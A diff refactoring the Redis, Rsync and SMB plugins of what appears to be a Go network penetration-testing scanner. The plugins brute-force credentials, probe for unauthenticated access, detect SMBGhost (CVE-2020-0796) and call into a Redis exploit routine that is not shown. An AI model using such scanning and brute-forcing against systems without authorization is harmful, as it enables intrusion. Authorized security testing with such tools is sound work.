@@ -66,7 +67,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
|
|
||||||
// 如果需要利用,重新建立连接执行
|
// 如果需要利用,重新建立连接执行
|
||||||
if p.shouldExploit(config) {
|
if p.shouldExploit(config) {
|
||||||
p.exploitWithPassword(ctx, info, result.Password, config)
|
p.exploitWithPassword(ctx, info, result.Password, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -74,21 +75,20 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建Redis认证函数
|
// createAuthFunc 创建Redis认证函数
|
||||||
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
return p.doRedisAuth(ctx, info, cred, config, state)
|
return p.doRedisAuth(ctx, info, cred, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// doRedisAuth 执行Redis认证
|
// doRedisAuth 执行Redis认证
|
||||||
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := session.Config.Timeout
|
||||||
|
|
||||||
// 建立TCP连接
|
// 建立TCP连接
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifyRedisErrorType(err),
|
ErrorType: classifyRedisErrorType(err),
|
||||||
@@ -167,7 +167,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
|
|||||||
responseStr := string(response[:n])
|
responseStr := string(response[:n])
|
||||||
if !strings.Contains(responseStr, "PONG") {
|
if !strings.Contains(responseStr, "PONG") {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: ErrorTypeUnknown,
|
ErrorType: ErrorTypeUnknown,
|
||||||
@@ -175,7 +174,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Conn: conn,
|
Conn: conn,
|
||||||
@@ -202,10 +200,10 @@ func classifyRedisErrorType(err error) ErrorType {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testUnauthorizedAccess 测试未授权访问
|
// testUnauthorizedAccess 测试未授权访问
|
||||||
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
emptyCred := Credential{Username: "", Password: ""}
|
emptyCred := Credential{Username: "", Password: ""}
|
||||||
|
|
||||||
result := p.doRedisAuth(ctx, info, emptyCred, config, state)
|
result := p.doRedisAuth(ctx, info, emptyCred, session)
|
||||||
if result.Success {
|
if result.Success {
|
||||||
if result.Conn != nil {
|
if result.Conn != nil {
|
||||||
_ = result.Conn.Close()
|
_ = result.Conn.Close()
|
||||||
@@ -222,10 +220,10 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
|||||||
}
|
}
|
||||||
|
|
||||||
// exploitWithPassword 使用指定密码建立连接并执行利用
|
// exploitWithPassword 使用指定密码建立连接并执行利用
|
||||||
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, config *common.Config) {
|
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(i18n.Tr("redis_reconnect_failed", err))
|
common.LogError(i18n.Tr("redis_reconnect_failed", err))
|
||||||
return
|
return
|
||||||
@@ -235,28 +233,27 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host
|
|||||||
// 如果有密码,先认证
|
// 如果有密码,先认证
|
||||||
if password != "" {
|
if password != "" {
|
||||||
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
|
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
|
||||||
_ = conn.SetWriteDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
response := make([]byte, 512)
|
response := make([]byte, 512)
|
||||||
if _, readErr := conn.Read(response); readErr != nil {
|
if _, readErr := conn.Read(response); readErr != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
p.exploit(ctx, info, conn, password, config)
|
p.exploit(ctx, info, conn, password, session.Config)
|
||||||
}
|
}
|
||||||
|
|
||||||
// identifyService 服务识别
|
// identifyService 服务识别
|
||||||
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := session.Config.Timeout
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "redis",
|
Service: "redis",
|
||||||
@@ -300,7 +297,6 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
|||||||
banner = "Redis服务"
|
banner = "Redis服务"
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
||||||
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
|
|||||||
+20
-26
@@ -28,17 +28,18 @@ func NewRsyncPlugin() *RsyncPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
var findings []string
|
var findings []string
|
||||||
|
|
||||||
// 检测未授权访问
|
// 检测未授权访问
|
||||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||||
common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner))
|
common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner))
|
||||||
findings = append(findings, result.Banner)
|
findings = append(findings, result.Banner)
|
||||||
}
|
}
|
||||||
@@ -68,8 +69,8 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig)
|
result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig)
|
||||||
|
|
||||||
@@ -95,16 +96,16 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建Rsync认证函数
|
// createAuthFunc 创建Rsync认证函数
|
||||||
func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
return p.doRsyncAuth(ctx, info, cred, config, state)
|
return p.doRsyncAuth(ctx, info, cred, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// doRsyncAuth 执行Rsync认证
|
// doRsyncAuth 执行Rsync认证
|
||||||
func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
// 先获取可用模块列表
|
// 先获取可用模块列表
|
||||||
conn := p.connectToRsync(ctx, info, config, state)
|
conn := p.connectToRsync(ctx, info, session)
|
||||||
if conn == nil {
|
if conn == nil {
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -112,7 +113,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
|
|||||||
Error: fmt.Errorf("无法连接到Rsync服务"),
|
Error: fmt.Errorf("无法连接到Rsync服务"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
modules := p.getModules(conn, config)
|
modules := p.getModules(conn, session.Config)
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
|
|
||||||
if len(modules) == 0 {
|
if len(modules) == 0 {
|
||||||
@@ -140,7 +141,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
|
|||||||
)
|
)
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
errMsg := err.Error()
|
errMsg := err.Error()
|
||||||
if common.ContainsAny(errMsg, "auth", "password") {
|
if common.ContainsAny(errMsg, "auth", "password") {
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
@@ -156,7 +156,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Conn: &rsyncConnWrapper{},
|
Conn: &rsyncConnWrapper{},
|
||||||
@@ -206,14 +205,14 @@ func classifyRsyncErrorType(err error) ErrorType {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testUnauthorizedAccess 测试未授权访问
|
// testUnauthorizedAccess 测试未授权访问
|
||||||
func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
conn := p.connectToRsync(ctx, info, config, state)
|
conn := p.connectToRsync(ctx, info, session)
|
||||||
if conn == nil {
|
if conn == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
modules := p.getModules(conn, config)
|
modules := p.getModules(conn, session.Config)
|
||||||
|
|
||||||
if len(modules) > 0 {
|
if len(modules) > 0 {
|
||||||
banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", "))
|
banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", "))
|
||||||
@@ -229,22 +228,18 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
|||||||
}
|
}
|
||||||
|
|
||||||
// connectToRsync 连接到Rsync服务
|
// connectToRsync 连接到Rsync服务
|
||||||
func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
|
func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
timeout := session.Config.Timeout
|
||||||
|
|
||||||
connChan := make(chan net.Conn, 1)
|
connChan := make(chan net.Conn, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
timeout := config.Timeout
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
connChan <- nil
|
connChan <- nil
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||||
connChan <- conn
|
connChan <- conn
|
||||||
}()
|
}()
|
||||||
@@ -253,7 +248,6 @@ func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo,
|
|||||||
case conn := <-connChan:
|
case conn := <-connChan:
|
||||||
return conn
|
return conn
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
|
||||||
go func() {
|
go func() {
|
||||||
conn := <-connChan
|
conn := <-connChan
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
@@ -326,10 +320,10 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string
|
|||||||
}
|
}
|
||||||
|
|
||||||
// identifyService Rsync服务识别
|
// identifyService Rsync服务识别
|
||||||
func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn := p.connectToRsync(ctx, info, config, state)
|
conn := p.connectToRsync(ctx, info, session)
|
||||||
if conn == nil {
|
if conn == nil {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -339,7 +333,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
|||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
timeout := config.Timeout
|
timeout := session.Config.Timeout
|
||||||
|
|
||||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||||
if _, err := conn.Write([]byte("\n")); err != nil {
|
if _, err := conn.Write([]byte("\n")); err != nil {
|
||||||
|
|||||||
+13
-17
@@ -24,7 +24,9 @@ func NewSmbPlugin() *SmbPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 检查端口
|
// 检查端口
|
||||||
@@ -37,23 +39,21 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 1. 协议探测和信息收集
|
// 1. 协议探测和信息收集
|
||||||
smbTarget, err := probeTarget(info.Host, info.Port, config.Timeout)
|
smbTarget, err := probeTarget(ctx, info.Host, info.Port, config.Timeout, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "smb",
|
Service: "smb",
|
||||||
Error: fmt.Errorf("SMB协议探测失败: %w", err),
|
Error: fmt.Errorf("SMB协议探测失败: %w", err),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
|
|
||||||
// 输出信息收集结果
|
// 输出信息收集结果
|
||||||
p.logSMBInfo(target, smbTarget)
|
p.logSMBInfo(target, smbTarget)
|
||||||
|
|
||||||
// 2. 漏洞检测 (仅SMBv2+且端口445)
|
// 2. 漏洞检测 (仅SMBv2+且端口445)
|
||||||
if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 {
|
if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 {
|
||||||
if checkSMBGhost(info.Host, config.Timeout) {
|
if checkSMBGhost(ctx, info.Host, config.Timeout, session) {
|
||||||
smbTarget.Vulnerable = &SMBVuln{CVE20200796: true}
|
smbTarget.Vulnerable = &SMBVuln{CVE20200796: true}
|
||||||
common.LogVuln(i18n.Tr("smbghost_vuln", target))
|
common.LogVuln(i18n.Tr("smbghost_vuln", target))
|
||||||
}
|
}
|
||||||
@@ -68,7 +68,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
|
|||||||
auth := p.getAuthenticator(smbTarget.Protocol)
|
auth := p.getAuthenticator(smbTarget.Protocol)
|
||||||
|
|
||||||
// 4. 未授权访问检测
|
// 4. 未授权访问检测
|
||||||
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state); result != nil && result.Success {
|
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success {
|
||||||
var successMsg string
|
var successMsg string
|
||||||
if config.Credentials.Domain != "" {
|
if config.Credentials.Domain != "" {
|
||||||
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
|
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
|
||||||
@@ -90,8 +90,8 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
|
|||||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||||
}
|
}
|
||||||
|
|
||||||
authFn := p.createAuthFunc(info, auth, config, state)
|
authFn := p.createAuthFunc(info, auth, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "smb", testConfig)
|
result := TestCredentialsConcurrently(ctx, creds, authFn, "smb", testConfig)
|
||||||
|
|
||||||
@@ -117,20 +117,16 @@ func (p *SmbPlugin) getAuthenticator(protocol SMBProtocol) SMBAuthenticator {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建认证函数
|
// createAuthFunc 创建认证函数
|
||||||
func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) AuthFunc {
|
func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, session *common.ScanSession) AuthFunc {
|
||||||
|
config := session.Config
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
|
result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session)
|
||||||
if result.Success {
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
} else {
|
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
}
|
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// testUnauthorizedAccess 测试未授权访问
|
// testUnauthorizedAccess 测试未授权访问
|
||||||
func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) *ScanResult {
|
func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
unauthorizedCreds := []Credential{
|
unauthorizedCreds := []Credential{
|
||||||
@@ -140,7 +136,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, cred := range unauthorizedCreds {
|
for _, cred := range unauthorizedCreds {
|
||||||
shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
|
shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session)
|
||||||
if err == nil && len(shareInfo) > 0 {
|
if err == nil && len(shareInfo) > 0 {
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
displayUser := cred.Username
|
displayUser := cred.Username
|
||||||
|
|||||||
@@ -201,10 +201,10 @@ var (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// probeTarget 探测目标SMB信息(协议版本、系统信息)
|
// probeTarget 探测目标SMB信息(协议版本、系统信息)
|
||||||
func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, error) {
|
func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
|
||||||
target := fmt.Sprintf("%s:%d", host, port)
|
target := fmt.Sprintf("%s:%d", host, port)
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("连接失败: %w", err)
|
return nil, fmt.Errorf("连接失败: %w", err)
|
||||||
}
|
}
|
||||||
@@ -230,7 +230,7 @@ func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, erro
|
|||||||
}
|
}
|
||||||
|
|
||||||
// SMBv2路径
|
// SMBv2路径
|
||||||
return probeSMBv2(target, timeout)
|
return probeSMBv2(ctx, target, timeout, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// probeSMBv1 处理SMBv1协议信息收集
|
// probeSMBv1 处理SMBv1协议信息收集
|
||||||
@@ -242,7 +242,7 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
|
|||||||
}
|
}
|
||||||
|
|
||||||
ret, err := readSMBMessage(conn)
|
ret, err := readSMBMessage(conn)
|
||||||
if err != nil || len(ret) < 45 {
|
if err != nil || len(ret) < 47 {
|
||||||
return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err)
|
return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -251,21 +251,24 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 解析blob信息
|
// 解析blob信息
|
||||||
blobLength := bytesToUint16(ret[43:45])
|
blobLength := int(bytesToUint16(ret[43:45]))
|
||||||
blobCount := bytesToUint16(ret[45:47])
|
blobCount := int(bytesToUint16(ret[45:47]))
|
||||||
|
|
||||||
if int(blobCount) > len(ret) {
|
gssNative := ret[47:]
|
||||||
|
gssLen := len(gssNative)
|
||||||
|
|
||||||
|
// 校验远端返回的偏移量
|
||||||
|
if blobLength > gssLen || blobCount > gssLen || blobLength > blobCount {
|
||||||
return info, nil
|
return info, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
gssNative := ret[47:]
|
|
||||||
offNTLM := bytes.Index(gssNative, []byte("NTLMSSP"))
|
offNTLM := bytes.Index(gssNative, []byte("NTLMSSP"))
|
||||||
if offNTLM == -1 {
|
if offNTLM == -1 {
|
||||||
return info, nil
|
return info, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 提取native OS和LM信息
|
// 提取native OS和LM信息
|
||||||
native := gssNative[int(blobLength):blobCount]
|
native := gssNative[blobLength:blobCount]
|
||||||
ss := strings.Split(string(native), "\x00\x00")
|
ss := strings.Split(string(native), "\x00\x00")
|
||||||
|
|
||||||
if len(ss) > 0 {
|
if len(ss) > 0 {
|
||||||
@@ -276,15 +279,17 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 解析NTLM信息
|
// 解析NTLM信息
|
||||||
bs := gssNative[offNTLM:blobLength]
|
if offNTLM <= blobLength {
|
||||||
parseNTLMChallenge(bs, info)
|
bs := gssNative[offNTLM:blobLength]
|
||||||
|
parseNTLMChallenge(bs, info)
|
||||||
|
}
|
||||||
|
|
||||||
return info, nil
|
return info, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// probeSMBv2 处理SMBv2协议信息收集
|
// probeSMBv2 处理SMBv2协议信息收集
|
||||||
func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) {
|
func probeSMBv2(ctx context.Context, target string, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
|
||||||
conn2, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
conn2, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SMBv2连接失败: %w", err)
|
return nil, fmt.Errorf("SMBv2连接失败: %w", err)
|
||||||
}
|
}
|
||||||
@@ -349,10 +354,10 @@ func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkSMBGhost 检测CVE-2020-0796漏洞
|
// checkSMBGhost 检测CVE-2020-0796漏洞
|
||||||
func checkSMBGhost(host string, timeout time.Duration) bool {
|
func checkSMBGhost(ctx context.Context, host string, timeout time.Duration, session *common.ScanSession) bool {
|
||||||
addr := fmt.Sprintf("%s:445", host)
|
addr := fmt.Sprintf("%s:445", host)
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -385,15 +390,15 @@ func checkSMBGhost(host string, timeout time.Duration) bool {
|
|||||||
|
|
||||||
// SMBAuthenticator 统一认证接口
|
// SMBAuthenticator 统一认证接口
|
||||||
type SMBAuthenticator interface {
|
type SMBAuthenticator interface {
|
||||||
Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error)
|
Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error)
|
||||||
ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error)
|
ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error)
|
||||||
}
|
}
|
||||||
|
|
||||||
// SMB1Authenticator SMB1认证器
|
// SMB1Authenticator SMB1认证器
|
||||||
type SMB1Authenticator struct{}
|
type SMB1Authenticator struct{}
|
||||||
|
|
||||||
// Authenticate 执行SMB1认证
|
// Authenticate 执行SMB1认证
|
||||||
func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
|
func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) {
|
||||||
options := smb.Options{
|
options := smb.Options{
|
||||||
Host: host,
|
Host: host,
|
||||||
Port: port,
|
Port: port,
|
||||||
@@ -467,19 +472,19 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port
|
|||||||
}
|
}
|
||||||
|
|
||||||
